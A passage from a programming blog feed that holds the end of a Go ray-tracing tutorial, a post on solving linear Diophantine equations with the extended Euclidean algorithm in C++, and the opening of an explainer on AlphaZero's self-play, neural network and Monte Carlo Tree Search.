<pre><code class="lang-go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(v Vec3)</span> <span class="hljs-title">Add</span><span class="hljs-params">(u Vec3)</span> <span class="hljs-title">Vec3</span></span> {
    <span class="hljs-keyword">return</span> Vec3{v.X + u.X, v.Y + u.Y, v.Z + u.Z}
}

<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(v Vec3)</span> <span class="hljs-title">Mul</span><span class="hljs-params">(t <span class="hljs-keyword">float64</span>)</span> <span class="hljs-title">Vec3</span></span> {
    <span class="hljs-keyword">return</span> Vec3{v.X * t, v.Y * t, v.Z * t}
}

<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(v Vec3)</span> <span class="hljs-title">Normalize</span><span class="hljs-params">()</span> <span class="hljs-title">Vec3</span></span> {
    length := math.Sqrt(v.X*v.X + v.Y*v.Y + v.Z*v.Z)
    <span class="hljs-keyword">return</span> Vec3{v.X / length, v.Y / length, v.Z / length}
}
</code></pre>
<p>Now update the writePPM function, to create a gradient</p>
<pre><code class="lang-go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">writePPM</span><span class="hljs-params">()</span></span> {
    <span class="hljs-comment">// image dimensions</span>
    width := <span class="hljs-number">400</span>
    height := <span class="hljs-number">200</span>

    <span class="hljs-comment">// camera setup</span>
    lowerLeftCorner := Vec3{<span class="hljs-number">-2.0</span>, <span class="hljs-number">-1.0</span>, <span class="hljs-number">-1.0</span>}
    horizontal := Vec3{<span class="hljs-number">4.0</span>, <span class="hljs-number">0.0</span>, <span class="hljs-number">0.0</span>}
    vertical := Vec3{<span class="hljs-number">0.0</span>, <span class="hljs-number">2.0</span>, <span class="hljs-number">0.0</span>}
    origin := Vec3{<span class="hljs-number">0.0</span>, <span class="hljs-number">0.0</span>, <span class="hljs-number">0.0</span>}

    file, err := os.Create(<span class="hljs-string">"output.ppm"</span>)
    <span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> {
        <span class="hljs-built_in">panic</span>(err)
    }
    <span class="hljs-keyword">defer</span> file.Close()

    fmt.Fprintf(file, <span class="hljs-string">"P3\n%d %d\n255\n"</span>, width, height)

    <span class="hljs-keyword">for</span> j := height - <span class="hljs-number">1</span>; j &gt;= <span class="hljs-number">0</span>; j-- {
        <span class="hljs-keyword">for</span> i := <span class="hljs-number">0</span>; i &lt; width; i++ {
            u := <span class="hljs-keyword">float64</span>(i) / <span class="hljs-keyword">float64</span>(width)
            v := <span class="hljs-keyword">float64</span>(j) / <span class="hljs-keyword">float64</span>(height)

            <span class="hljs-comment">// it will be white at the bottom and purple at the top</span>
            color := Vec3{<span class="hljs-number">1.0</span>, <span class="hljs-number">1.0</span>, <span class="hljs-number">1.0</span>}.Mul(<span class="hljs-number">1.0</span> - v).Add(Vec3{<span class="hljs-number">0.5</span>, <span class="hljs-number">0.7</span>, <span class="hljs-number">1.0</span>}.Mul(v))

            ir := <span class="hljs-keyword">int</span>(<span class="hljs-number">255.99</span> * color.X)
            ig := <span class="hljs-keyword">int</span>(<span class="hljs-number">255.99</span> * color.Y)
            ib := <span class="hljs-keyword">int</span>(<span class="hljs-number">255.99</span> * color.Z)

            fmt.Fprintf(file, <span class="hljs-string">"%d %d %d\n"</span>, ir, ig, ib)
        }
    }
}

<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {
    writePPM()
}
</code></pre>
<p>And now you should have a gradient looking like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728394175244/1e0e4791-2f02-4218-ac3d-e33fabe0a4db.png" alt class="image--center mx-auto" /></p>
<p>Now let’s render the first object, let’s create a simple Sphere, we’ll make a hitSphere function to determine if a rays hits a given sphere:</p>
<pre><code class="lang-go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">hitSphere</span><span class="hljs-params">(center Vec3, radius <span class="hljs-keyword">float64</span>, r Ray)</span> <span class="hljs-title">float64</span></span> {
    oc := r.Origin.Sub(center)
    a := r.Direction.Dot(r.Direction)
    b := <span class="hljs-number">2.0</span> * oc.Dot(r.Direction)
    c := oc.Dot(oc) - radius*radius
    discriminant := b*b - <span class="hljs-number">4</span>*a*c

    <span class="hljs-keyword">if</span> discriminant &lt; <span class="hljs-number">0</span> {
        <span class="hljs-keyword">return</span> <span class="hljs-number">-1.0</span>
    } <span class="hljs-keyword">else</span> {
        <span class="hljs-keyword">return</span> (-b - math.Sqrt(discriminant)) / (<span class="hljs-number">2.0</span> * a)
    }
}
</code></pre>
<p><img src="https://raytracing.github.io/images/fig-1.05-ray-sphere.jpg" alt /></p>
<p>Let’s create a function which determines the color of pixel where each ray intersects:</p>
<pre><code class="lang-go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">rayColor</span><span class="hljs-params">(r Ray)</span> <span class="hljs-title">Vec3</span></span> {
    center := Vec3{<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">-1</span>}
    t := hitSphere(center, <span class="hljs-number">0.5</span>, r)
    <span class="hljs-keyword">if</span> t &gt; <span class="hljs-number">0.0</span> {
        N := r.At(t).Sub(center).Normalize()
        <span class="hljs-keyword">return</span> Vec3{N.X + <span class="hljs-number">1</span>, N.Y + <span class="hljs-number">1</span>, N.Z + <span class="hljs-number">1</span>}.Mul(<span class="hljs-number">0.5</span>) <span class="hljs-comment">// map from [-1,1] to [0,1]</span>
    }
    <span class="hljs-comment">// Background color (gradient from white to blue)</span>
    unitDirection := r.Direction.Normalize()
    t = <span class="hljs-number">0.5</span> * (unitDirection.Y + <span class="hljs-number">1.0</span>)
    <span class="hljs-keyword">return</span> Vec3{<span class="hljs-number">1.0</span>, <span class="hljs-number">1.0</span>, <span class="hljs-number">1.0</span>}.Mul(<span class="hljs-number">1.0</span> - t).Add(Vec3{<span class="hljs-number">0.5</span>, <span class="hljs-number">0.7</span>, <span class="hljs-number">1.0</span>}.Mul(t))
}
</code></pre>
<p>Now let’s update the writePPM function to use the new rayColor function:</p>
<pre><code class="lang-go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">writePPM</span><span class="hljs-params">()</span></span> {
    <span class="hljs-comment">// image dimensions</span>
    width := <span class="hljs-number">400</span>
    height := <span class="hljs-number">200</span>

    <span class="hljs-comment">// camera setup</span>
    lowerLeftCorner := Vec3{<span class="hljs-number">-2.0</span>, <span class="hljs-number">-1.0</span>, <span class="hljs-number">-1.0</span>}
    horizontal := Vec3{<span class="hljs-number">4.0</span>, <span class="hljs-number">0.0</span>, <span class="hljs-number">0.0</span>}
    vertical := Vec3{<span class="hljs-number">0.0</span>, <span class="hljs-number">2.0</span>, <span class="hljs-number">0.0</span>}
    origin := Vec3{<span class="hljs-number">0.0</span>, <span class="hljs-number">0.0</span>, <span class="hljs-number">0.0</span>}

    file, err := os.Create(<span class="hljs-string">"output.ppm"</span>)
    <span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> {
        <span class="hljs-built_in">panic</span>(err)
    }
    <span class="hljs-keyword">defer</span> file.Close()

    fmt.Fprintf(file, <span class="hljs-string">"P3\n%d %d\n255\n"</span>, width, height)

    <span class="hljs-keyword">for</span> j := height - <span class="hljs-number">1</span>; j &gt;= <span class="hljs-number">0</span>; j-- {
        <span class="hljs-keyword">for</span> i := <span class="hljs-number">0</span>; i &lt; width; i++ {
            u := <span class="hljs-keyword">float64</span>(i) / <span class="hljs-keyword">float64</span>(width)
            v := <span class="hljs-keyword">float64</span>(j) / <span class="hljs-keyword">float64</span>(height)

            <span class="hljs-comment">// each ray starts at the camera origin and goes through the pixel</span>
            r := Ray{origin, lowerLeftCorner.Add(horizontal.Mul(u)).Add(vertical.Mul(v))}
            color := rayColor(r)

            ir := <span class="hljs-keyword">int</span>(<span class="hljs-number">255.99</span> * color.X)
            ig := <span class="hljs-keyword">int</span>(<span class="hljs-number">255.99</span> * color.Y)
            ib := <span class="hljs-keyword">int</span>(<span class="hljs-number">255.99</span> * color.Z)

            fmt.Fprintf(file, <span class="hljs-string">"%d %d %d\n"</span>, ir, ig, ib)
        }
    }
}

<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {
    writePPM()
}
</code></pre>
<p>And we should finally get something like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728396820577/7258c811-b277-497c-836f-945f0c69464b.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-next-steps">Next Steps</h2>
<p>The blog is already too long, and this is where we’ll stop, however if you are interested in completing the Ray Tracer, I encourage you to continue exploring the original <a target="_blank" href="https://raytracing.github.io/books/RayTracingInOneWeekend.html">"Ray Tracing in One Weekend"</a> guide. It’s written in C++, but you can use any language, and you may be able to find community versions on Github.</p>
<p>As the name of original guide suggests, this is meant to be done in one Weekend, but take your time, and if you complete the guide, you can render even complex scenes like this.</p>
<p><img src="https://raytracing.github.io/images/img-1.23-book1-final.jpg" alt /></p>
]]></content:encoded></item><item><title><![CDATA[Linear Diophantine Equations]]></title><description><![CDATA[Diophantine Equation:
In mathematics, a Diophantine equation is an equation, typically a polynomial equation in two or more unknowns with integer coefficients, for which only integer solutions are of interest. A linear Diophantine equation equates to...]]></description><link>https://blogs.copsiitbhu.co.in/linear-diophantine-equations</link><guid isPermaLink="true">https://blogs.copsiitbhu.co.in/linear-diophantine-equations</guid><category><![CDATA[Programming Blogs]]></category><category><![CDATA[Mathematics]]></category><category><![CDATA[Competitive programming]]></category><dc:creator><![CDATA[Divyanshu Dutta]]></dc:creator><pubDate>Sat, 05 Oct 2024 04:24:31 GMT</pubDate><content:encoded><![CDATA[<h3 id="heading-diophantine-equation"><strong>Diophantine Equation:</strong></h3>
<p>In mathematics, a <strong>Diophantine equation</strong> is an equation, typically a polynomial equation in two or more unknowns with integer coefficients, for which only integer solutions are of interest. A <strong>linear Diophantine equation</strong> equates to a constant the sum of two or more monomials, each of degree one. An <strong>exponential Diophantine equation</strong> is one in which unknowns can appear in exponents.</p>
<p><strong>Diophantine problems</strong> have fewer equations than unknowns and involve finding integers that solve simultaneously all equations. As such <strong>sytems of equations</strong> define <strong>algebraic curves</strong>, <strong>algebraic surfaces</strong>, or, more generally, <strong>algebraic sets</strong>, their study is a part of algebraic geometry that is called <strong><em>Diophantine Geometry</em></strong>.</p>
<h3 id="heading-linear-diophantine-equations"><strong>Linear Diophantine Equations:</strong></h3>
<p>In this blog, we will primarily concentrate on Linear Diophantine Equations.</p>
<p><strong>The Equation:</strong></p>
<p>$$\sum_{n=1}^{n} a_ix_i = N$$</p><p>$$\text{Here}\ a_i's\text{ and } N \text{ are known integers while } x_i’s \text{ are the unknown integer}$$</p><p>The simplest linear Diophantine equation which is also known as Bezout’s identity takes the form:</p>
<p>$$ax +by=c$$</p><p>where <code>a,b,c</code> are given integers and <code>x,y</code> are unknown integers. The solutions are described by the following theorems:</p>
<p><strong><em>This Diophantine equation has a solution (where x and y are integers) if and only if c is a multiple of the greatest common divisor (GCD) of a and b</em></strong>. Additionally, if <code>(x, y)</code> is one solution, then all other solutions can be written as <code>(x + kv, y − ku)</code>, where <code>k</code> is any integer, and <code>u</code> and <code>v</code> are the results of dividing <code>a</code> and <code>b</code> by their <code>GCD</code>, respectively.</p>
<p>$$u = \frac{a}{\gcd(a,b)} \quad \text{and} \quad v = \frac{b}{\gcd(a,b)}$$</p><p><strong>Proof:</strong><br />If <code>d</code> is the greatest common divisor of <code>a</code> and <code>b</code>, <em>Bézout's</em> identity tells us that there are integers <code>e</code> and <code>f</code> such that <code>ae + bf = d</code>. If <code>c</code> is a multiple of <code>d</code>, then we can express <code>c</code> as <code>dh</code> for some integer <code>h</code>, and the pair <code>(eh, fh)</code> will be a solution to the equation. Additionally, for any integers <code>x</code> and <code>y</code>, the <code>GCD(d)</code> of <code>a</code> and <code>b</code> will divide the expression <code>ax + by</code>. Therefore, if the equation has a solution, <code>c</code> must be a multiple of <code>d</code> (i.e, <code>d</code> must divide <code>c</code>). If we express <code>a</code> as <code>ud</code> and <code>b</code> as <code>vd</code>, then for any solution <code>(x, y)</code>, we have,</p>
<p>$$a(x + kv) + b(y - ku) = ax + by + k(av - bu) = ax + by + k(udv - vdu) = ax + by$$</p><p>this shows that if <code>(x , y)</code> are the solutions of the equation then , <code>(x + kv, y - ku)</code> is another solution . Finally, given two solutions such that</p>
<p>$$ax_1 + by_1 = ax_2 + by_2 = c$$</p><p>one deduces that,</p>
<p>$$u(x_2 - x_1) + v(y_2 - y_1) = 0$$</p><p>As <code>u and v</code> are coprime, Euclid's lemma shows that <code>v</code> divides <code>x2 − x1</code>, and thus that there exists an integer <code>k</code> such that both.</p>
<p>$$x_2 - x_1 = kv, \quad y_2 - y_1 = -ku$$</p><p>Therefore,</p>
<p>$$x_2 = x_1 + kv, \quad y_2 = y_1 - ku$$</p><p>which completes the required proof.</p>
<h3 id="heading-analytic-solution">Analytic Solution:</h3>
<p>When   a≠0  and   b≠0,  can be equivalently treated as either of the following:</p>
<p>$$ax \equiv c \, (\text{mod} \, b)$$</p><p>$$by \equiv c \, (\text{mod} \, a)$$</p><p>This can be written by taking mod with <code>b</code> and then <code>a</code> on both sides of equation respectively.</p>
<p>Without loss of generality, assume that   b≠0  and consider the first equation. When   a and   b  are co-prime, the solution to it is given as</p>
<p>$$x \equiv c a^{-1} \, (\text{mod} \, b)$$</p><p>$$\text{where }a^{-1}\text{ is the modular inverse of a modulo b}$$</p><p>When   <code>a</code>  and   <code>b</code> are not co-prime, values of   <code>ax modulo   b</code>  for all integer   <code>x</code>  are divisible by   <code>g=gcd(a,b)</code> , so the solution only exists when   <code>c</code>  is divisible by   <code>g</code> . In this case, one of solutions can be found by reducing the equation by   g:</p>
<p>$$\frac{a}{g} x \equiv \frac{c}{g} \, (\text{mod} \, \frac{b}{g})$$</p><p>$$\text{Here }\frac{a}{g} = u \text{ , } \frac{b}{g} = v .$$</p><p>By the definition of   <code>g</code> , the numbers   a/g  and   b/g  are co-prime, so the solution is given explicitly as</p>
<p>$$\begin{cases} x \equiv \left(\frac{c}{g}\right) \left(\frac{a}{g}\right)^{-1} \, (\text{mod} \, \frac{b}{g}) \\ y = \frac{c-ax}{b}\end{cases}$$</p><h3 id="heading-algorithmic-solution">Algorithmic solution:</h3>
<p>To find one solution of the Diophantine equation with 2 unknowns, you can use the Extended Euclidean algorithm . First assume that <code>a</code> and   <code>b</code> are non-negative. When we apply Extended Euclidean algorithm for   <code>a</code>  and   <code>b</code>, we can find their greatest common divisor   <code>g</code> and 2 numbers   <code>xg</code>  and   <code>yg</code> such that:</p>
<p>$$a \cdot xg + b \cdot yg = g$$</p><p>If   <code>c</code> is divisible by   <code>g=gcd(a,b)</code> , then the given Diophantine equation has a solution, otherwise it does not have any solution. The proof is straight-forward: a linear combination of two numbers is divisible by their common divisor.</p>
<p>Now supposed that   c  is divisible by   g , then we have:</p>
<p>$$a \cdot xg \cdot \left(\frac{c}{g}\right) + b \cdot yg \cdot \left(\frac{c}{g}\right) = c$$</p><p>Therefore one of the solutions of the Diophantine equation is:</p>
<p>$$x_0 = xg \cdot \left(\frac{c}{g}\right)$$</p><p>$$y_0 = yg \cdot \left(\frac{c}{g}\right)$$</p><p>The above idea still works when   <code>a</code> or   <code>b</code>  or both of them are negative. We only need to change the sign of   <code>xo</code> and   <code>yo</code>  when necessary.</p>
<p>Finally, we can implement this idea as follows (note that this code does not consider the case <code>a = b = 0</code>) :</p>
<pre><code class="lang-cpp"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span><span class="hljs-meta-string">&lt;bits/stdc++.h&gt;</span></span>
<span class="hljs-keyword">using</span> <span class="hljs-keyword">namespace</span> <span class="hljs-built_in">std</span>;
<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">gcd</span><span class="hljs-params">(<span class="hljs-keyword">int</span> a, <span class="hljs-keyword">int</span> b, <span class="hljs-keyword">int</span>&amp; x, <span class="hljs-keyword">int</span>&amp; y)</span> </span>{
    <span class="hljs-keyword">if</span> (b == <span class="hljs-number">0</span>) {
        x = <span class="hljs-number">1</span>;
        y = <span class="hljs-number">0</span>;
        <span class="hljs-keyword">return</span> a;
    }
    <span class="hljs-keyword">int</span> x1, y1;
    <span class="hljs-keyword">int</span> d = gcd(b, a % b, x1, y1);
    x = y1;
    y = x1 - y1 * (a / b);
    <span class="hljs-keyword">return</span> d;
}

<span class="hljs-function"><span class="hljs-keyword">bool</span> <span class="hljs-title">find_any_solution</span><span class="hljs-params">(<span class="hljs-keyword">int</span> a, <span class="hljs-keyword">int</span> b, <span class="hljs-keyword">int</span> c, <span class="hljs-keyword">int</span> &amp;x0, <span class="hljs-keyword">int</span> &amp;y0, <span class="hljs-keyword">int</span> &amp;g)</span> </span>{
    g = gcd(<span class="hljs-built_in">abs</span>(a), <span class="hljs-built_in">abs</span>(b), x0, y0);
    <span class="hljs-keyword">if</span> (c % g) {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
    }

    x0 *= c / g;
    y0 *= c / g;
    <span class="hljs-keyword">if</span> (a &lt; <span class="hljs-number">0</span>) x0 = -x0;
    <span class="hljs-keyword">if</span> (b &lt; <span class="hljs-number">0</span>) y0 = -y0;
    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
}
</code></pre>
<h3 id="heading-getting-all-solutions">Getting all solutions:</h3>
<p>From one solution <code>( xo , yo )</code> , we can obtain all the solutions of the given equation.</p>
<p>Let g = gcd(a,b) and let <code>xo</code> , <code>yo</code> be integers which satisfy the following:</p>
<p>$$a \cdot x_0 + b \cdot y_0 = c$$</p><p>Now, we should see that adding   <code>b/g</code>  to   <code>xo</code>, and, at the same time subtracting   <code>a/g</code>  from   <code>yo</code> will not break the equality:</p>
<p>$$a \cdot (x_0 + bg) + b \cdot (y_0 - ag) = a \cdot x_0 + b \cdot y_0 + a \cdot bg - b \cdot ag = c$$</p><p>Obviously, this process can be repeated again, so all the numbers of the form:</p>
<p>$$\begin{align*} x &amp; = x_0 + k \cdot \left(\frac{b}{g}\right) \\ y &amp; = y_0 - k \cdot \left(\frac{a}{g}\right) \end{align*}$$</p><p>are solutions of the given Diophantine Equation.</p>
<p>Moreover, this is the set of all possible solutions of the given Diophantine equation.</p>
<h3 id="heading-problem">Problem :</h3>
<p><strong>Statement</strong> : Dante is engaged in a fight with "The Savior". Before he can fight it with his sword, he needs to break its shields. He has two guns, Ebony and Ivory, each of them is able to perform any non-negative number of shots.</p>
<p>For every bullet that hits the shield, Ebony deals <em>a</em> units of damage while Ivory deals <code>b</code> units of damage. In order to break the shield Dante has to deal <strong>exactly</strong> <code>c</code> units of damage. Find out if this is possible.</p>
<p>Take <code>a,b,c</code> as input from the user representing the number of units of damage dealt by Ebony gun and Ivory gun, and the total number of damage required to break the shield, respectively.</p>
<p>Your task is to print "Yes" (without quotes) if Dante can deal exactly <code>c</code> damage to the shield and "No" (without quotes) otherwise.</p>
<h3 id="heading-solution">Solution :</h3>
<pre><code class="lang-cpp"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span><span class="hljs-meta-string">&lt;bits/stdc++.h&gt;</span></span>
<span class="hljs-keyword">using</span> <span class="hljs-keyword">namespace</span> <span class="hljs-built_in">std</span>;
<span class="hljs-comment">//Function to implement Extended Euclid's algorithm</span>
<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">extended_euclidean</span><span class="hljs-params">(<span class="hljs-keyword">int</span> a, <span class="hljs-keyword">int</span> b, <span class="hljs-keyword">int</span> &amp;x, <span class="hljs-keyword">int</span> &amp;y)</span>
</span>{
    <span class="hljs-keyword">if</span> (b == <span class="hljs-number">0</span>)
    {
        x = <span class="hljs-number">1</span>;
        y = <span class="hljs-number">0</span>;
        <span class="hljs-keyword">return</span> a;
    }
    <span class="hljs-keyword">int</span> x1, y1;
    <span class="hljs-keyword">int</span> d = extended_euclidean(b, a % b, x1, y1);
    x = y1;
    y = x1 - y1 * (a / b);
    <span class="hljs-keyword">return</span> d;
}
<span class="hljs-comment">//Function to calculate modulo inverse of a with respect to m</span>
<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">modulo_inverse</span><span class="hljs-params">(<span class="hljs-keyword">int</span> a, <span class="hljs-keyword">int</span> m)</span>
</span>{
    <span class="hljs-keyword">int</span> x, y;
    <span class="hljs-keyword">int</span> g = extended_euclidean(a, m, x, y);
    <span class="hljs-keyword">if</span> (g != <span class="hljs-number">1</span>)
    {
        <span class="hljs-keyword">return</span> <span class="hljs-number">-1</span>;
    }
    <span class="hljs-keyword">else</span>
    {
        x = (x % m + m) % m;
        <span class="hljs-keyword">return</span> x;
    }
}
<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span>{
    <span class="hljs-keyword">int</span> a,b,c;
    <span class="hljs-built_in">cin</span> &gt;&gt; a &gt;&gt; b &gt;&gt; c;
    <span class="hljs-keyword">int</span> g = __gcd(a,b); <span class="hljs-comment">// In built functiom to calculate gcd of two integers</span>
    <span class="hljs-keyword">if</span>(c%g!=<span class="hljs-number">0</span>){
        <span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"NO"</span> &lt;&lt; <span class="hljs-built_in">endl</span>;
    }
    <span class="hljs-keyword">else</span>{
        <span class="hljs-comment">//We also need to check if there is a set (x,y) such that x&gt;=0 and y&gt;=0</span>
        <span class="hljs-keyword">int</span> x = (c/g) * modulo_inverse((a/g),(b/g));
        <span class="hljs-keyword">int</span> y = (c - a*x)/b;
        <span class="hljs-keyword">bool</span> solution_exists = <span class="hljs-literal">false</span>;
        <span class="hljs-keyword">if</span>(x&gt;=<span class="hljs-number">0</span> &amp;&amp; y&gt;=<span class="hljs-number">0</span>){
            solution_exists = <span class="hljs-literal">true</span>;
        }
        <span class="hljs-keyword">else</span>{
            <span class="hljs-keyword">if</span>(x&lt;<span class="hljs-number">0</span> &amp;&amp; y&gt;=<span class="hljs-number">0</span>){
                <span class="hljs-keyword">int</span> x1 = (b/g) * (y/(a/g)) + x;
                <span class="hljs-keyword">if</span>(x1&gt;=<span class="hljs-number">0</span>){
                    solution_exists = <span class="hljs-literal">true</span>;
                }
            }
            <span class="hljs-keyword">if</span>(y&lt;<span class="hljs-number">0</span> &amp;&amp; x&gt;=<span class="hljs-number">0</span>){
                <span class="hljs-keyword">int</span> y1 = (a/g) * (x/(b/g)) + y;
                <span class="hljs-keyword">if</span>(y1&gt;=<span class="hljs-number">0</span>){
                    solution_exists = <span class="hljs-literal">true</span>;
                }
            }
        }
        <span class="hljs-keyword">if</span>(solution_exists==<span class="hljs-literal">true</span>){
            <span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"Yes"</span> &lt;&lt; <span class="hljs-built_in">endl</span>;
        }
        <span class="hljs-keyword">else</span>{
            <span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"No"</span> &lt;&lt; <span class="hljs-built_in">endl</span>;
        }
    }
}
</code></pre>
]]></content:encoded></item><item><title><![CDATA[AlphaZero - A Revolution in Game AI]]></title><description><![CDATA[Artificial Intelligence (AI) has long been a crucial element in gaming, enabling machines to challenge and sometimes outwit human players. Traditionally, game AI was built using heuristic-based approaches: static rules hardcoded by developers. While ...]]></description><link>https://blogs.copsiitbhu.co.in/alphazero-a-revolution-in-game-ai</link><guid isPermaLink="true">https://blogs.copsiitbhu.co.in/alphazero-a-revolution-in-game-ai</guid><category><![CDATA[Programming Blogs]]></category><category><![CDATA[AI]]></category><category><![CDATA[Artificial Intelligence]]></category><category><![CDATA[Machine Learning]]></category><category><![CDATA[Reinforcement Learning]]></category><dc:creator><![CDATA[Yashashwi Singhania]]></dc:creator><pubDate>Wed, 02 Oct 2024 15:30:28 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1727882510299/dc4d236b-fff8-4338-916c-1c760d7a0d7a.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Artificial Intelligence (AI) has long been a crucial element in gaming, enabling machines to challenge and sometimes outwit human players. Traditionally, game AI was built using heuristic-based approaches: static rules hardcoded by developers. While this allowed AI to become competent in games like chess and checkers, it lacked the adaptability and ingenuity of human thinking. This changed with AlphaZero, a game-changing innovation that utilised reinforcement learning (RL) to not just play but master complex games with unprecedented skill.</p>
<h2 id="heading-traditional-game-ai-and-reinforcement-learning"><strong>Traditional Game AI and Reinforcement Learning</strong></h2>
<p>In the early stages, game AI like the famous Deep Blue (the chess computer that beat Garry Kasparov) relied on brute-force search algorithms and expert-crafted heuristics. Deep Blue didn’t “learn” how to play chess; instead, it evaluated millions of possible moves every second using pre-set rules.</p>
<p>Enter reinforcement learning. Unlike traditional AI, RL doesn't depend on pre-programmed strategies. Instead, an RL agent learns by interacting with its environment, receiving feedback in the form of rewards or penalties. Think of it like training a dog—positive reinforcement encourages good behaviour, while negative feedback discourages mistakes.</p>
<h2 id="heading-alphazero-the-new-king-of-chess"><strong>AlphaZero: The New King of Chess</strong></h2>
<p>AlphaZero, developed by DeepMind, completely redefined how AI could tackle strategy-based games. What made AlphaZero revolutionary wasn’t just that it could play chess, Go, or shogi—it could learn these games from scratch. With no prior knowledge except for the game rules, AlphaZero taught itself to play at a superhuman level using a method called <em>self-play</em>.</p>
<p>Here’s the remarkable part: AlphaZero trained for just 4 hours before it went head-to-head with Stockfish, the reigning chess engine champion. Stockfish was meticulously crafted and fine-tuned over years, using intricate evaluation functions and exhaustive search techniques. And yet, AlphaZero—using only a fraction of the computational power—defeated Stockfish convincingly. This led to significant debate within the AI and chess communities. Critics pointed out that Stockfish was constrained in terms of compute resources during this match, which may have skewed the results.</p>
<h3 id="heading-compute-controversy"><strong>Compute Controversy</strong></h3>
<p>While AlphaZero’s victory was impressive, it sparked a broader conversation about the fairness of the contest. Stockfish, though a powerful engine, was configured with fewer computing resources than it usually operates with. Additionally, it relied on a static evaluation of positions, whereas AlphaZero dynamically learned strategies on the fly. The comparison, some argued, wasn’t entirely apples-to-apples. However, AlphaZero’s ability to train for just 4 hours and defeat Stockfish highlighted the immense power of reinforcement learning.</p>
<h2 id="heading-architecture"><strong>Architecture</strong></h2>
<p>At the core of AlphaZero is a sophisticated combination of deep neural networks and Monte Carlo Tree Search (MCTS). Understanding how these components interact is key to appreciating AlphaZero's prowess.</p>
<h3 id="heading-1-neural-network-architecture"><strong>1. Neural Network Architecture</strong></h3>
<p>AlphaZero employs a <strong>Convolutional Neural Network (CNN)</strong> to evaluate the current game state and predict the potential outcomes of moves. Here's how it functions:</p>
<ul>
<li><p><strong>Input Representation</strong>: The game state is represented as a multi-dimensional array, capturing all relevant information such as piece positions, player turn, and other game-specific features.</p>
</li>
<li><p><strong>Convolutional Layers</strong>: These layers automatically detect and extract spatial hierarchies and patterns from the input data. For instance, in chess, the CNN can recognise tactical motifs like forks, pins, and threats without being explicitly programmed to do so.</p>
</li>
<li><p><strong>Output Heads</strong>:</p>
<ul>
<li><p><strong>Policy Head</strong>: Outputs a probability distribution over possible moves, indicating the likelihood of each move leading to a favourable outcome.</p>
</li>
<li><p><strong>Value Head</strong>: Predicts the expected outcome of the game (win, loss, or draw) from the current position.</p>
</li>
</ul>
</li>
</ul>
<p>The CNN is trained through <strong>self-play</strong>, where AlphaZero plays numerous games against itself, continuously refining its evaluations based on game outcomes.</p>
<p><strong>Mathematical Foundation: AlphaZero’s Loss Function</strong></p>
<p>AlphaZero optimizes its performance using a specific loss function that balances the accuracy of the policy and value predictions:</p>
<p>$$L=(z−v)^2−π^T\log⁡p$$</p><p>Where:</p>
<ul>
<li><p>$z$ is the true game result.</p>
</li>
<li><p>$v$ is the predicted game outcome.</p>
</li>
<li><p>$\pi$ is the actual move distribution from self-play.</p>
</li>
<li><p>$p$ is the predicted move distribution from the policy head.</p>
</li>
</ul>
<p>This equation ensures that the neural network learns to make accurate predictions about both the moves and the game outcomes.</p>
<h3 id="heading-2-monte-carlo-tree-search-mcts"><strong>2. Monte Carlo Tree Search (MCTS)</strong></h3>
<p><strong>Monte Carlo Tree Search (MCTS)</strong> is a heuristic search algorithm used to make optimal decisions in game play. Unlike traditional search algorithms that evaluate every possible move, MCTS focuses on the most promising moves based on statistical sampling.</p>
<p>MCTS in AlphaZero consists of four main steps:</p>
<p><strong>Selection</strong>: Starting from the root node (current game state), the algorithm traverses the tree by selecting child nodes that maximise a balance between exploration (trying new moves) and exploitation (using known profitable moves). This balance is often achieved using the <strong>Upper Confidence Bound (UCB)</strong> formula:</p>
<p>$$\text{UCB}= w_i + c \sqrt{\frac{\ln N}{n_i}}$$</p><p>Where:</p>
<ul>
<li><p>$w_i​$ is the win rate of child node.</p>
</li>
<li><p>$N$ is the total number of simulations for the parent node.</p>
</li>
<li><p>$n_i$ is the number of simulations for child node.</p>
</li>
<li><p>$c$ is a constant that balances exploration and exploitation.</p>
</li>
</ul>
<ol>
<li><p><strong>Expansion</strong>: Once a leaf node (a game state not yet fully explored) is reached, the algorithm expands the tree by adding one or more child nodes representing possible moves from that state.</p>
</li>
<li><p><strong>Simulation (Rollout)</strong>: From the new node, a simulation is run to the end of the game, using the neural network's policy and value predictions to guide the moves.</p>
</li>
<li><p><strong>Backpropagation</strong>: The results of the simulation are propagated back up the tree, updating the statistics of each node involved in the traversal.</p>
</li>
</ol>
<p>By iterating through these steps, MCTS builds a search tree that highlights the most promising moves, allowing AlphaZero to make informed decisions without exhaustively searching all possibilities.</p>
<h3 id="heading-3-integrating-cnn-with-mcts"><strong>3. Integrating CNN with MCTS</strong></h3>
<p>The synergy between the CNN and MCTS is what sets AlphaZero apart:</p>
<ul>
